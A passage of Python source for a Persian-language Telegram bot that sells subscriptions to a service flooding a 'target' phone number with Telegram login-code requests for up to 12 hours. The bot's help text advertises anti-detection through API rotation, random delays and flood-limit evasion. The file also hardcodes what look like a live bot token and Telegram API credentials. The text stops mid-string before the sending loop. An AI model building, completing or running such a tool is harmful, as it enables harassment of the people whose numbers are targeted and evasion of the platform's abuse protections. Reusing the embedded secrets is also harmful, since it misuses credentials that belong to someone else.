import asyncio
import logging
import os
import random
import sqlite3
from datetime import datetime, timedelta
from typing import Optional, List, Dict

from aiogram import Bot, Dispatcher, types, F, BaseMiddleware
from aiogram.filters import Command, CommandStart
from aiogram.types import (
    InlineKeyboardMarkup, InlineKeyboardButton,
    ReplyKeyboardMarkup, KeyboardButton,
    Message, CallbackQuery
)
from aiogram.fsm.context import FSMContext
from aiogram.fsm.state import State, StatesGroup
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.client.default import DefaultBotProperties
from aiogram.enums import ParseMode

from telethon import TelegramClient, errors
from telethon.tl.functions.auth import SendCodeRequest
from telethon.tl.types import CodeSettings

# ======================== تنظیمات ========================
BOT_TOKEN = "8844250144:AAG75upuweYuHSFKFlihNxlqCcBxUkOjhaI"
ADMIN_ID = 8831078772
ADMIN_USERNAME = "POLO_IR"
FORCE_CHANNEL_ID = -1004399357467
FORCE_CHANNEL_LINK = "https://t.me/TRX_NOP"
BRAND = "TRX"
FONT = "ɪʀᴀɴ"

API_POOL = [
    {"api_id": 36010034, "api_hash": "1c4a1523e4304048be4e02914a2d0aba"},
    {"api_id": 33699544, "api_hash": "8c3b5d032441dd69fbeb7eecc0795bdc"},
]

# بخش‌های قابل بنرگذاری
BANNER_SECTIONS = {
    "main": "🏠 منوی اصلی",
    "profile": "👤 پروفایل کاربر",
    "buy_sub": "🛒 خرید اشتراک",
    "help": "📖 راهنما",
    "start_op": "🚀 شروع عملیات",
    "admin_panel": "⚙️ پنل مدیریت",
    "support": "🆘 پشتیبانی",
    "force_join": "📢 جوین اجباری",
}

# ======================== دیتابیس ========================
class Database:
    def __init__(self, db_path="trx_bot.db"):
        self.conn = sqlite3.connect(db_path, check_same_thread=False)
        self.cursor = self.conn.cursor()
        self._create_tables()
        self._ensure_admin()

    def _create_tables(self):
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS users (
                user_id INTEGER PRIMARY KEY,
                username TEXT,
                full_name TEXT,
                join_date TEXT,
                subscription_expiry TEXT,
                max_numbers_per_day INTEGER DEFAULT 0,
                is_banned INTEGER DEFAULT 0,
                is_admin INTEGER DEFAULT 0,
                total_operations INTEGER DEFAULT 0,
                last_active TEXT,
                language TEXT DEFAULT 'fa'
            )
        """)
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS apis (
                api_id INTEGER PRIMARY KEY,
                api_hash TEXT,
                is_active INTEGER DEFAULT 1,
                added_at TEXT,
                last_error TEXT,
                error_count INTEGER DEFAULT 0
            )
        """)
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS settings (
                key TEXT PRIMARY KEY,
                value TEXT
            )
        """)
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS logs (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER,
                action TEXT,
                details TEXT,
                timestamp TEXT
            )
        """)
        self.conn.commit()

    def _ensure_admin(self):
        self.cursor.execute("SELECT * FROM users WHERE user_id=?", (ADMIN_ID,))
        if not self.cursor.fetchone():
            self.cursor.execute("""
                INSERT INTO users (user_id, username, full_name, join_date, is_admin, is_banned, subscription_expiry, max_numbers_per_day)
                VALUES (?, ?, ?, ?, 1, 0, ?, 9999)
            """, (ADMIN_ID, ADMIN_USERNAME, "Admin", datetime.now().isoformat(), (datetime.now() + timedelta(days=3650)).isoformat()))
            self.conn.commit()
        else:
            self.cursor.execute("UPDATE users SET is_admin=1, is_banned=0 WHERE user_id=?", (ADMIN_ID,))
            self.conn.commit()

    def get_user(self, user_id):
        self.cursor.execute("SELECT * FROM users WHERE user_id=?", (user_id,))
        return self.cursor.fetchone()

    def add_user(self, user_id, username, full_name):
        now = datetime.now().isoformat()
        self.cursor.execute("SELECT user_id FROM users WHERE user_id=?", (user_id,))
        if not self.cursor.fetchone():
            self.cursor.execute("""
                INSERT INTO users (user_id, username, full_name, join_date, last_active, max_numbers_per_day)
                VALUES (?, ?, ?, ?, ?, 0)
            """, (user_id, username, full_name, now, now))
            self.conn.commit()

    def update_last_active(self, user_id):
        self.cursor.execute("UPDATE users SET last_active=? WHERE user_id=?", (datetime.now().isoformat(), user_id))
        self.conn.commit()

    def set_ban(self, user_id, banned: bool):
        if user_id == ADMIN_ID:
            return
        self.cursor.execute("UPDATE users SET is_banned=? WHERE user_id=?", (1 if banned else 0, user_id))
        self.conn.commit()

    def is_admin(self, user_id) -> bool:
        if user_id == ADMIN_ID:
            return True
        self.cursor.execute("SELECT is_admin FROM users WHERE user_id=?", (user_id,))
        row = self.cursor.fetchone()
        return bool(row and row[0] == 1)

    def is_banned(self, user_id) -> bool:
        if user_id == ADMIN_ID:
            return False
        self.cursor.execute("SELECT is_banned FROM users WHERE user_id=?", (user_id,))
        row = self.cursor.fetchone()
        return bool(row and row[0] == 1)

    def add_subscription(self, user_id, days, max_numbers):
        user = self.get_user(user_id)
        if not user:
            return False
        current_expiry = user[4]
        if current_expiry:
            try:
                expiry_dt = datetime.fromisoformat(current_expiry)
                if expiry_dt > datetime.now():
                    new_expiry = expiry_dt + timedelta(days=days)
                else:
                    new_expiry = datetime.now() + timedelta(days=days)
            except Exception:
                new_expiry = datetime.now() + timedelta(days=days)
        else:
            new_expiry = datetime.now() + timedelta(days=days)
        self.cursor.execute("UPDATE users SET subscription_expiry=?, max_numbers_per_day=? WHERE user_id=?",
                            (new_expiry.isoformat(), max_numbers, user_id))
        self.conn.commit()
        return True

    def get_all_users(self):
        self.cursor.execute("SELECT user_id, username, full_name, subscription_expiry, is_banned, is_admin FROM users ORDER BY user_id")
        return self.cursor.fetchall()

    def get_stats(self):
        self.cursor.execute("SELECT COUNT(*) FROM users")
        total = self.cursor.fetchone()[0]
        self.cursor.execute("SELECT COUNT(*) FROM users WHERE is_banned=1")
        banned = self.cursor.fetchone()[0]
        self.cursor.execute("SELECT COUNT(*) FROM users WHERE subscription_expiry > ? AND is_banned=0", (datetime.now().isoformat(),))
        active_subs = self.cursor.fetchone()[0]
        return {"total": total, "banned": banned, "active_subs": active_subs}

    def add_api(self, api_id, api_hash):
        self.cursor.execute("INSERT OR REPLACE INTO apis (api_id, api_hash, is_active, added_at) VALUES (?, ?, 1, ?)",
                            (api_id, api_hash, datetime.now().isoformat()))
        self.conn.commit()

    def get_active_apis(self):
        self.cursor.execute("SELECT api_id, api_hash FROM apis WHERE is_active=1")
        return self.cursor.fetchall()

    def deactivate_api(self, api_id, error_msg):
        self.cursor.execute("UPDATE apis SET is_active=0, last_error=?, error_count=error_count+1 WHERE api_id=?",
                            (error_msg, api_id))
        self.conn.commit()

    def get_setting(self, key, default=None):
        self.cursor.execute("SELECT value FROM settings WHERE key=?", (key,))
        row = self.cursor.fetchone()
        return row[0] if row else default

    def set_setting(self, key, value):
        self.cursor.execute("INSERT OR REPLACE INTO settings (key, value) VALUES (?, ?)", (key, value))
        self.conn.commit()

    def del_setting(self, key):
        self.cursor.execute("DELETE FROM settings WHERE key=?", (key,))
        self.conn.commit()

    def log(self, user_id, action, details=""):
        self.cursor.execute("INSERT INTO logs (user_id, action, details, timestamp) VALUES (?, ?, ?, ?)",
                            (user_id, action, details, datetime.now().isoformat()))
        self.conn.commit()

db = Database()

# ======================== استیت‌ها ========================
class UserStates(StatesGroup):
    waiting_for_phone = State()
    waiting_for_duration = State()
    waiting_for_max_numbers = State()
    waiting_for_days = State()

class AdminStates(StatesGroup):
    waiting_for_sub_user_id = State()
    waiting_for_ban_user_id = State()
    waiting_for_unban_user_id = State()
    waiting_for_sub_days = State()
    waiting_for_sub_max = State()
    waiting_for_api_id = State()
    waiting_for_api_hash = State()
    waiting_for_broadcast = State()
    waiting_for_admin_add = State()
    waiting_for_banner = State()

# ======================== ضد اسپم ========================
spam_tracker: Dict[int, List[datetime]] = {}
SPAM_LIMIT = 8
SPAM_WINDOW = 10
SPAM_BAN_DURATION = 5

def is_spamming(user_id: int) -> bool:
    if user_id == ADMIN_ID or db.is_admin(user_id):
        return False
    now = datetime.now()
    if user_id not in spam_tracker:
        spam_tracker[user_id] = []
    spam_tracker[user_id] = [t for t in spam_tracker[user_id] if (now - t).total_seconds() < SPAM_WINDOW]
    spam_tracker[user_id].append(now)
    return len(spam_tracker[user_id]) > SPAM_LIMIT

# ======================== چک جوین اجباری ========================
async def check_force_join(bot: Bot, user_id: int) -> bool:
    if user_id == ADMIN_ID or db.is_admin(user_id):
        return True
    try:
        member = await bot.get_chat_member(FORCE_CHANNEL_ID, user_id)
        return member.status in ["member", "administrator", "creator"]
    except Exception:
        return False

# ======================== ارسال پیام با بنر ========================
async def send_with_banner(chat_id, text, reply_markup=None, section="main", edit_message: Message = None):
    """ارسال پیام با بنر در صورت وجود"""
    banner = db.get_setting(f"banner_{section}")
    try:
        if banner:
            if edit_message:
                # اگه ادیت می‌کنیم و پیام فعلی عکس داره، فقط کپشن رو عوض کن
                if edit_message.photo:
                    await edit_message.edit_caption(caption=text, reply_markup=reply_markup)
                    return
                else:
                    # پیام فعلی عکس نداره، پس پاکش کن و پیام جدید با عکس بفرست
                    try:
                        await edit_message.delete()
                    except Exception:
                        pass
                    await bot.send_photo(chat_id=chat_id, photo=banner, caption=text, reply_markup=reply_markup)
                    return
            else:
                await bot.send_photo(chat_id=chat_id, photo=banner, caption=text, reply_markup=reply_markup)
                return
        else:
            if edit_message:
                if edit_message.photo:
                    try:
                        await edit_message.delete()
                    except Exception:
                        pass
                    await bot.send_message(chat_id=chat_id, text=text, reply_markup=reply_markup)
                else:
                    await edit_message.edit_text(text=text, reply_markup=reply_markup)
                return
            else:
                await bot.send_message(chat_id=chat_id, text=text, reply_markup=reply_markup)
                return
    except Exception as e:
        # در صورت خطا، سعی کن پیام متنی بفرست
        try:
            if edit_message:
                try:
                    await edit_message.delete()
                except Exception:
                    pass
            await bot.send_message(chat_id=chat_id, text=text, reply_markup=reply_markup)
        except Exception:
            pass

# ======================== کیبوردها ========================
def main_menu_kb(user_id: int = None):
    kb = [
        [InlineKeyboardButton(text="🚀 شروع عملیات | Start Operation", callback_data="start_operation", style="success")],
        [InlineKeyboardButton(text="👤 حساب کاربری | Profile", callback_data="profile", style="primary")],
        [InlineKeyboardButton(text="🛒 خرید اشتراک | Buy", callback_data="buy_sub", style="success")],
        [InlineKeyboardButton(text="📖 راهنما | Help", callback_data="help", style="primary")],
        [InlineKeyboardButton(text="🆘 پشتیبانی | Support", url=f"https://t.me/{ADMIN_USERNAME}", style="danger")],
    ]
    if user_id is not None and (user_id == ADMIN_ID or db.is_admin(user_id)):
        kb.insert(0, [InlineKeyboardButton(text="⚙️ پنل مدیریت | Admin Panel", callback_data="admin_panel", style="danger")])
    return InlineKeyboardMarkup(inline_keyboard=kb)

def back_kb():
    return InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="🔙 بازگشت | Back", callback_data="main_menu", style="primary")]
    ])

def admin_menu_kb():
    kb = [
        [InlineKeyboardButton(text="📊 آمار ربات | Stats", callback_data="admin_stats", style="primary")],
        [InlineKeyboardButton(text="👥 لیست کاربران | Users", callback_data="admin_users", style="primary")],
        [InlineKeyboardButton(text="💰 دادن اشتراک | Give Sub", callback_data="admin_give_sub", style="success")],
        [InlineKeyboardButton(text="🚫 بن کردن | Ban", callback_data="admin_ban", style="danger"),
         InlineKeyboardButton(text="✅ آنبن | Unban", callback_data="admin_unban", style="success")],
        [InlineKeyboardButton(text="👑 افزودن ادمین | Add Admin", callback_data="admin_add_admin", style="success"),
         InlineKeyboardButton(text="❌ حذف ادمین | Remove Admin", callback_data="admin_remove_admin", style="danger")],
        [InlineKeyboardButton(text="🔌 افزودن API | Add API", callback_data="admin_add_api", style="primary")],
        [InlineKeyboardButton(text="📋 لیست API ها | APIs", callback_data="admin_list_apis", style="primary")],
        [InlineKeyboardButton(text="🖼 تنظیم بنرها | Banners", callback_data="admin_banners", style="success")],
        [InlineKeyboardButton(text="📢 پیام همگانی | Broadcast", callback_data="admin_broadcast", style="primary")],
        [InlineKeyboardButton(text="⚙️ وضعیت ربات | Bot Status", callback_data="admin_toggle_bot", style="primary")],
        [InlineKeyboardButton(text="🔙 خروج | Exit", callback_data="main_menu", style="danger")],
    ]
    return InlineKeyboardMarkup(inline_keyboard=kb)

def banners_menu_kb():
    kb = []
    for key, name in BANNER_SECTIONS.items():
        current = db.get_setting(f"banner_{key}")
        icon = "🟢" if current else "🔴"
        kb.append([InlineKeyboardButton(text=f"{icon} {name}", callback_data=f"banner_set_{key}", style="primary")])
    kb.append([InlineKeyboardButton(text="🗑 حذف همه بنرها", callback_data="banner_clear_all", style="danger")])
    kb.append([InlineKeyboardButton(text="🔙 بازگشت", callback_data="admin_panel", style="primary")])
    return InlineKeyboardMarkup(inline_keyboard=kb)

def cancel_kb():
    return InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="❌ لغو | Cancel", callback_data="cancel_op", style="danger")]
    ])

# ======================== میدل‌ورها ========================
class SpamMiddleware(BaseMiddleware):
    async def __call__(self, handler, event, data):
        if isinstance(event, Message) and event.from_user:
            uid = event.from_user.id
            if uid == ADMIN_ID or db.is_admin(uid):
                return await handler(event, data)
            if db.is_banned(uid):
                await event.answer("⛔️ شما از ربات بن شده‌اید.")
                return
            if is_spamming(uid):
                db.set_ban(uid, True)
                await event.answer("⛔️ شما به دلیل اسپم برای ۵ ساعت بن شدید!")
                return
        return await handler(event, data)

class BotActiveMiddleware(BaseMiddleware):
    async def __call__(self, handler, event, data):
        if isinstance(event, Message) and event.from_user:
            uid = event.from_user.id
            if uid == ADMIN_ID or db.is_admin(uid):
                return await handler(event, data)
            if db.get_setting("bot_active", "1") != "1":
                await event.answer("🔴 ربات موقتاً خاموش است.")
                return
        return await handler(event, data)

# ======================== هندلرها ========================
bot = Bot(token=BOT_TOKEN, default=DefaultBotProperties(parse_mode=ParseMode.HTML))
dp = Dispatcher(storage=MemoryStorage())

dp.message.middleware(SpamMiddleware())
dp.message.middleware(BotActiveMiddleware())

@dp.message(CommandStart())
async def cmd_start(message: Message, state: FSMContext):
    user_id = message.from_user.id

    db.add_user(user_id, message.from_user.username, message.from_user.full_name)
    db.update_last_active(user_id)

    if user_id == ADMIN_ID or db.is_admin(user_id):
        await state.clear()
        text = (
            f"<b>🎉 خوش آمدید ادمین عزیز!</b>\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
            f"👑 <b>شما به عنوان ادمین وارد شدید</b>\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
            f"🤖 به ربات <b>{BRAND}</b> خوش آمدید.\n"
            f"📌 از منوی زیر انتخاب کنید:\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
            f"<i>{FONT}</i>"
        )
        await send_with_banner(message.chat.id, text, main_menu_kb(user_id), "main")
        return

    if db.is_banned(user_id):
        await message.answer("⛔️ شما از ربات بن شده‌اید.")
        return

    if not await check_force_join(bot, user_id):
        kb = InlineKeyboardMarkup(inline_keyboard=[
            [InlineKeyboardButton(text="📢 عضویت در کانال | Join", url=FORCE_CHANNEL_LINK, style="primary")],
            [InlineKeyboardButton(text="🔄 بررسی مجدد | Check", callback_data="check_join", style="success")],
        ])
        text = (
            f"<b>⚠️ برای استفاده از ربات ابتدا باید در کانال ما عضو شوید.</b>\n\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
            f"📌 <b>{BRAND}</b> | {FONT}\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬"
        )
        await send_with_banner(message.chat.id, text, kb, "force_join")
        return

    await state.clear()
    text = (
        f"<b>🎉 خوش آمدید {message.from_user.full_name}!</b>\n\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"🤖 به ربات <b>{BRAND}</b> خوش آمدید.\n"
        f"📌 از منوی زیر انتخاب کنید:\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<i>{FONT}</i>"
    )
    await send_with_banner(message.chat.id, text, main_menu_kb(user_id), "main")

@dp.callback_query(F.data == "check_join")
async def check_join_cb(cb: CallbackQuery, state: FSMContext):
    if await check_force_join(bot, cb.from_user.id):
        text = (
            f"<b>✅ عضویت شما تأیید شد!</b>\n\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
            f"🤖 به ربات <b>{BRAND}</b> خوش آمدید.\n"
            f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬"
        )
        await send_with_banner(cb.message.chat.id, text, main_menu_kb(cb.from_user.id), "main", edit_message=cb.message)
    else:
        await cb.answer("❌ شما هنوز عضو کانال نشده‌اید!", show_alert=True)

@dp.callback_query(F.data == "main_menu")
async def main_menu_cb(cb: CallbackQuery, state: FSMContext):
    await state.clear()
    text = (
        f"<b>🏠 منوی اصلی | Main Menu</b>\n\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 {BRAND} | {FONT}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬"
    )
    await send_with_banner(cb.message.chat.id, text, main_menu_kb(cb.from_user.id), "main", edit_message=cb.message)

# ---------- پروفایل ----------
@dp.callback_query(F.data == "profile")
async def profile_cb(cb: CallbackQuery):
    user = db.get_user(cb.from_user.id)
    if not user:
        await cb.answer("خطا!", show_alert=True)
        return

    expiry = user[4]
    if expiry:
        try:
            exp_dt = datetime.fromisoformat(expiry)
            remaining = (exp_dt - datetime.now()).days
            expiry_str = exp_dt.strftime("%Y/%m/%d")
        except Exception:
            remaining = 0
            expiry_str = "—"
    else:
        remaining = 0
        expiry_str = "—"

    sub_status = "✅ فعال" if remaining > 0 else "❌ غیرفعال"

    text = (
        f"<b>👤 حساب کاربری شما | Your Profile</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"🆔 <b>آیدی عددی:</b> <code>{user[0]}</code>\n"
        f"👤 <b>نام:</b> {user[2]}\n"
        f"🔗 <b>یوزرنیم:</b> @{user[1] if user[1] else '—'}\n"
        f"📅 <b>تاریخ عضویت:</b> {user[3][:10] if user[3] else '—'}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"💎 <b>وضعیت اشتراک:</b> {sub_status}\n"
        f"⏳ <b>روزهای باقی‌مانده:</b> {remaining}\n"
        f"📆 <b>تاریخ انقضا:</b> {expiry_str}\n"
        f"🔢 <b>سقف شماره روزانه:</b> {user[5]}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📊 <b>عملیات انجام‌شده:</b> {user[8]}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<i>{FONT}</i>"
    )
    await send_with_banner(cb.message.chat.id, text, back_kb(), "profile", edit_message=cb.message)

# ---------- خرید اشتراک ----------
@dp.callback_query(F.data == "buy_sub")
async def buy_sub_cb(cb: CallbackQuery, state: FSMContext):
    await state.set_state(UserStates.waiting_for_days)
    text = (
        f"<b>🛒 خرید اشتراک | Buy Subscription</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"💰 <b>نرخ پایه:</b> ۳۰ تومان برای ۱ روز (۲ شماره)\n"
        f"📈 هر روز اضافه: +۳۰ تومان\n"
        f"🔢 هر شماره اضافه: +۱۵ تومان\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📝 <b>تعداد روز مورد نظر را وارد کنید:</b>\n"
        f"<i>(حداکثر ۳۰ روز)</i>"
    )
    await send_with_banner(cb.message.chat.id, text, cancel_kb(), "buy_sub", edit_message=cb.message)

@dp.message(UserStates.waiting_for_days)
async def get_days(message: Message, state: FSMContext):
    try:
        days = int(message.text.strip())
        if days < 1 or days > 30:
            raise ValueError
    except Exception:
        await message.answer("❌ لطفاً یک عدد بین ۱ تا ۳۰ وارد کنید.", reply_markup=cancel_kb())
        return

    await state.update_data(days=days)
    await state.set_state(UserStates.waiting_for_max_numbers)
    text = (
        f"<b>🔢 سقف شماره روزانه | Daily Numbers Limit</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"تعداد شماره‌هایی که می‌خواهید در روز بفرستید را وارد کنید:\n"
        f"<i>(حداکثر ۱۰ شماره)</i>"
    )
    await message.answer(text, reply_markup=cancel_kb())

@dp.message(UserStates.waiting_for_max_numbers)
async def get_max_numbers(message: Message, state: FSMContext):
    try:
        max_num = int(message.text.strip())
        if max_num < 1 or max_num > 10:
            raise ValueError
    except Exception:
        await message.answer("❌ لطفاً یک عدد بین ۱ تا ۱۰ وارد کنید.", reply_markup=cancel_kb())
        return

    data = await state.get_data()
    days = data.get("days", 1)
    base_price = days * 30
    extra = max(0, max_num - 2) * 15
    price = base_price + extra
    if price < 30:
        price = 30

    await state.clear()
    text = (
        f"<b>🧾 فاکتور اشتراک شما | Invoice</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📅 <b>مدت:</b> {days} روز\n"
        f"🔢 <b>سقف شماره روزانه:</b> {max_num}\n"
        f"💰 <b>مبلغ کل:</b> {price:,} تومان\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"💳 برای پرداخت و دریافت اشتراک به ادمین پیام دهید:\n"
        f"👤 @{ADMIN_USERNAME}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<i>{FONT}</i>"
    )
    kb = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="💬 پیام به ادمین | Contact", url=f"https://t.me/{ADMIN_USERNAME}", style="success")],
        [InlineKeyboardButton(text="🔙 بازگشت | Back", callback_data="main_menu", style="primary")]
    ])
    await message.answer(text, reply_markup=kb)

# ---------- راهنما ----------
@dp.callback_query(F.data == "help")
async def help_cb(cb: CallbackQuery):
    text = (
        f"<b>📖 راهنمای جامع ربات {BRAND}</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n"

        f"<b>🌟 به ربات {BRAND} خوش آمدید</b>\n"
        f"این ربات یک ابزار حرفه‌ای برای ارسال درخواست کد ورود تلگرام به شماره‌های هدف است. "
        f"با استفاده از APIهای رسمی تلگرام و الگوریتم‌های ضدتشخیص پیشرفته، "
        f"می‌توانید به صورت خودکار و مداوم برای شماره هدف درخواست کد ارسال کنید.\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<b>👤 بخش حساب کاربری | Profile</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"در این بخش می‌توانید اطلاعات کامل حساب خود را مشاهده کنید:\n"
        f"🆔 <b>آیدی عددی:</b> شناسه یکتای حساب شما\n"
        f"👤 <b>نام و یوزرنیم:</b> اطلاعات پروفایل تلگرام\n"
        f"📅 <b>تاریخ عضویت:</b> زمان اولین استارت ربات\n"
        f"💎 <b>وضعیت اشتراک:</b> فعال یا غیرفعال\n"
        f"⏳ <b>روزهای باقی‌مانده:</b> زمان باقی‌مانده از اشتراک\n"
        f"📆 <b>تاریخ انقضا:</b> زمان دقیق پایان اشتراک\n"
        f"🔢 <b>سقف شماره روزانه:</b> تعداد مجاز شماره در روز\n"
        f"📊 <b>عملیات انجام‌شده:</b> تعداد کل عملیات شما\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<b>🛒 بخش خرید اشتراک | Buy Subscription</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"برای استفاده از ربات، ابتدا باید اشتراک تهیه کنید. مراحل:\n"
        f"1️⃣ روی دکمه «خرید اشتراک» کلیک کنید\n"
        f"2️⃣ تعداد روز مورد نظر را وارد کنید (۱ تا ۳۰ روز)\n"
        f"3️⃣ سقف شماره روزانه را وارد کنید (۱ تا ۱۰ شماره)\n"
        f"4️⃣ فاکتور برای شما صادر می‌شود\n"
        f"5️⃣ به ادمین پیام دهید و اشتراک خود را دریافت کنید\n\n"
        f"<b>💰 نرخ‌نامه:</b>\n"
        f"• اشتراک پایه: ۳۰ تومان برای ۱ روز + ۲ شماره\n"
        f"• هر روز اضافه: +۳۰ تومان\n"
        f"• هر شماره اضافه: +۱۵ تومان\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<b>🚀 بخش شروع عملیات | Start Operation</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"پس از خرید اشتراک، می‌توانید عملیات را شروع کنید:\n"
        f"1️⃣ روی دکمه «شروع عملیات» کلیک کنید\n"
        f"2️⃣ شماره هدف را با کد کشور وارد کنید (مثلاً +989123456789)\n"
        f"3️⃣ مدت زمان عملیات را مشخص کنید (۱ تا ۱۲ ساعت)\n"
        f"4️⃣ ربات به صورت خودکار درخواست‌ها را ارسال می‌کند\n"
        f"5️⃣ هر زمان خواستید، می‌توانید عملیات را لغو کنید\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<b>⚙️ سیستم ضدتشخیص | Anti-Detection System</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"ربات از چندین لایه محافظتی برای جلوگیری از شناسایی استفاده می‌کند:\n"
        f"🔹 <b>چرخش API:</b> استفاده متناوب از چندین API\n"
        f"🔹 <b>مکث تصادفی:</b> فاصله ۲ تا ۳ دقیقه بین درخواست‌ها\n"
        f"🔹 <b>مدیریت Flood:</b> واکنش هوشمند به محدودیت‌های تلگرام\n"
        f"🔹 <b>تعویض خودکار:</b> تغییر API در صورت بروز خطا\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<b>⚠️ قوانین و هشدارها</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"• استفاده از ربات برای مزاحمت، نقض قوانین است\n"
        f"• مسئولیت استفاده بر عهده کاربر می‌باشد\n"
        f"• در صورت اسپم، حساب شما برای ۵ ساعت بن می‌شود\n"
        f"• استفاده غیرمجاز منجر به مسدود شدن دائمی می‌شود\n\n"

        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"💎 <b>پشتیبانی:</b> @{ADMIN_USERNAME}\n"
        f"<i>{FONT}</i>"
    )
    await send_with_banner(cb.message.chat.id, text, back_kb(), "help", edit_message=cb.message)

# ---------- لغو ----------
@dp.callback_query(F.data == "cancel_op")
async def cancel_cb(cb: CallbackQuery, state: FSMContext):
    await state.clear()
    text = "❌ عملیات لغو شد."
    await send_with_banner(cb.message.chat.id, text, main_menu_kb(cb.from_user.id), "main", edit_message=cb.message)

# ---------- شروع عملیات ----------
@dp.callback_query(F.data == "start_operation")
async def start_operation_cb(cb: CallbackQuery, state: FSMContext):
    uid = cb.from_user.id
    if uid != ADMIN_ID and not db.is_admin(uid):
        user = db.get_user(uid)
        if not user or not user[4]:
            await cb.answer("❌ اشتراک فعالی ندارید!", show_alert=True)
            return
        try:
            if datetime.fromisoformat(user[4]) < datetime.now():
                await cb.answer("❌ اشتراک شما منقضی شده!", show_alert=True)
                return
        except Exception:
            await cb.answer("❌ اشتراک نامعتبر!", show_alert=True)
            return
    await state.set_state(UserStates.waiting_for_phone)
    text = (
        f"📱 <b>شماره هدف را وارد کنید | Enter Target Phone:</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"<i>(با کد کشور، مثلاً +989123456789)</i>"
    )
    await send_with_banner(cb.message.chat.id, text, cancel_kb(), "start_op", edit_message=cb.message)

@dp.message(UserStates.waiting_for_phone)
async def process_phone(message: Message, state: FSMContext):
    phone = message.text.strip()
    if not phone.startswith("+") or len(phone) < 8:
        await message.answer("❌ شماره باید با + شروع شود.", reply_markup=cancel_kb())
        return

    uid = message.from_user.id
    if uid != ADMIN_ID and not db.is_admin(uid):
        user = db.get_user(uid)
        if not user or not user[4]:
            await message.answer("❌ اشتراک فعالی ندارید!", reply_markup=main_menu_kb(uid))
            await state.clear()
            return
        try:
            if datetime.fromisoformat(user[4]) < datetime.now():
                await message.answer("❌ اشتراک شما منقضی شده!", reply_markup=main_menu_kb(uid))
                await state.clear()
                return
        except Exception:
            await message.answer("❌ اشتراک نامعتبر!", reply_markup=main_menu_kb(uid))
            await state.clear()
            return

    await state.update_data(phone=phone)
    await state.set_state(UserStates.waiting_for_duration)
    await message.answer(
        f"⏱ <b>چند ساعت روی این شماره کار کنم؟</b>\n"
        f"<i>(حداکثر ۱۲ ساعت)</i>",
        reply_markup=cancel_kb()
    )

@dp.message(UserStates.waiting_for_duration)
async def process_duration(message: Message, state: FSMContext):
    try:
        hours = int(message.text.strip())
        if hours < 1 or hours > 12:
            raise ValueError
    except Exception:
        await message.answer("❌ عدد بین ۱ تا ۱۲ وارد کنید.", reply_markup=cancel_kb())
        return

    data = await state.get_data()
    uid = message.from_user.id
    user = db.get_user(uid)
    max_numbers = user[5] if user and user[5] else 2
    phone = data.get("phone")
    await state.clear()

    db.set_setting(f"cancel_{uid}", "0")

    cancel_kb_op = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="🛑 لغو عملیات | Cancel", callback_data=f"cancel_op_{uid}", style="danger")]
    ])

    await message.answer(
        f"🚀 <b>عملیات آغاز شد!</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📱 شماره: <code>{phone}</code>\n"
        f"⏱ مدت: {hours} ساعت\n"
        f"🔢 سقف: {max_numbers} شماره\n"
